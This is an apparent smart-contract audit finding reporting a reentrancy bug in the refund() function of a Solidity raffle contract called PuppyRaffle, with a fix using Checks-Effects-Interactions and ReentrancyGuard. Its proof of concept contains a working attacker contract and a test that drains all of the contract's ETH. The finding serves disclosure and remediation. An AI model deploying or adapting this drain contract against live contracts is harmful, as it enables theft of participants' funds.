Root + Impact
Description
-
Normal behavior: A player who has entered the raffle can call refund() with their player index to receive their entrance fee back and be removed from the raffle. The function verifies the caller is the player at that index, sends the entrance fee, and zeroes out their slot in the players array.
-
The issue: refund() sends ETH to msg.sender BEFORE updating the players array. This violates the Checks-Effects-Interactions (CEI) pattern — the gold standard for preventing reentrancy attacks in Solidity.
-
When ETH is sent to a contract address, the contract's receive() or fallback() function is triggered. A malicious contract can use this callback to call refund() again before the first call completes. Since players[playerIndex] has not been zeroed yet, all the require checks pass again, and the attacker receives another refund. This loop continues until the contract is drained of all ETH belonging to other players.
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}
Risk
Likelihood:
-
refund() is a public function callable by any active raffle participant at any time during the raffle.
-
The only requirement is entering the raffle once, which is the normal intended behavior — no special access needed.
-
Reentrancy attacks are well-documented and exploit tooling is publicly available.
Impact:
-
An attacker can drain the entire ETH balance of the contract in a single transaction.
-
Every honest participant who paid the entrance fee loses their funds.
-
The prize pool is completely stolen — the raffle cannot complete.
-
Protocol reputation is permanently damaged
Proof of Concept
The following attacker contract demonstrates the full reentrancy drain:
pragma solidity ^0.7.6;
interface IPuppyRaffle {
function enterRaffle(address[] memory newPlayers) external payable;
function refund(uint256 playerIndex) external;
function getActivePlayerIndex(address player) external view returns (uint256);
}
contract ReentrancyAttacker {
IPuppyRaffle public immutable target;
uint256 public attackerIndex;
uint256 public entranceFee;
constructor(IPuppyRaffle _target, uint256 _entranceFee) {
target = _target;
entranceFee = _entranceFee;
}
function attack() external payable {
require(msg.value >= entranceFee, "Need entrance fee");
address[] memory players = new address[](1);
players[0] = address(this);
target.enterRaffle{value: entranceFee}(players);
attackerIndex = target.getActivePlayerIndex(address(this));
target.refund(attackerIndex);
}
receive() external payable {
if (address(target).balance >= entranceFee) {
target.refund(attackerIndex);
}
}
function withdraw() external {
payable(msg.sender).transfer(address(this).balance);
}
}
function testReentrancy() public {
address[] memory players = new address[](4);
for (uint i = 0; i < 4; i++) players[i] = address(uint160(i + 1));
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
ReentrancyAttacker attacker = new ReentrancyAttacker(puppyRaffle, entranceFee);
attacker.attack{value: entranceFee}();
assertEq(address(puppyRaffle).balance, 0);
assertGt(address(attacker).balance, entranceFee);
}
Recommended Mitigation
Apply the Checks-Effects-Interactions pattern by updating state BEFORE making any external call. Additionally, add OpenZeppelin's ReentrancyGuard as defence in depth:
The CEI fix alone is sufficient to prevent reentrancy. The nonReentrant modifier provides additional protection against future code changes that might reintroduce the vulnerability.
+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
- contract PuppyRaffle is ERC721, Ownable {
+ contract PuppyRaffle is ERC721, Ownable, ReentrancyGuard {
- function refund(uint256 playerIndex) public {
+ function refund(uint256 playerIndex) public nonReentrant {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+ // @> Update state BEFORE external call (Checks-Effects-Interactions)
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);
payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
}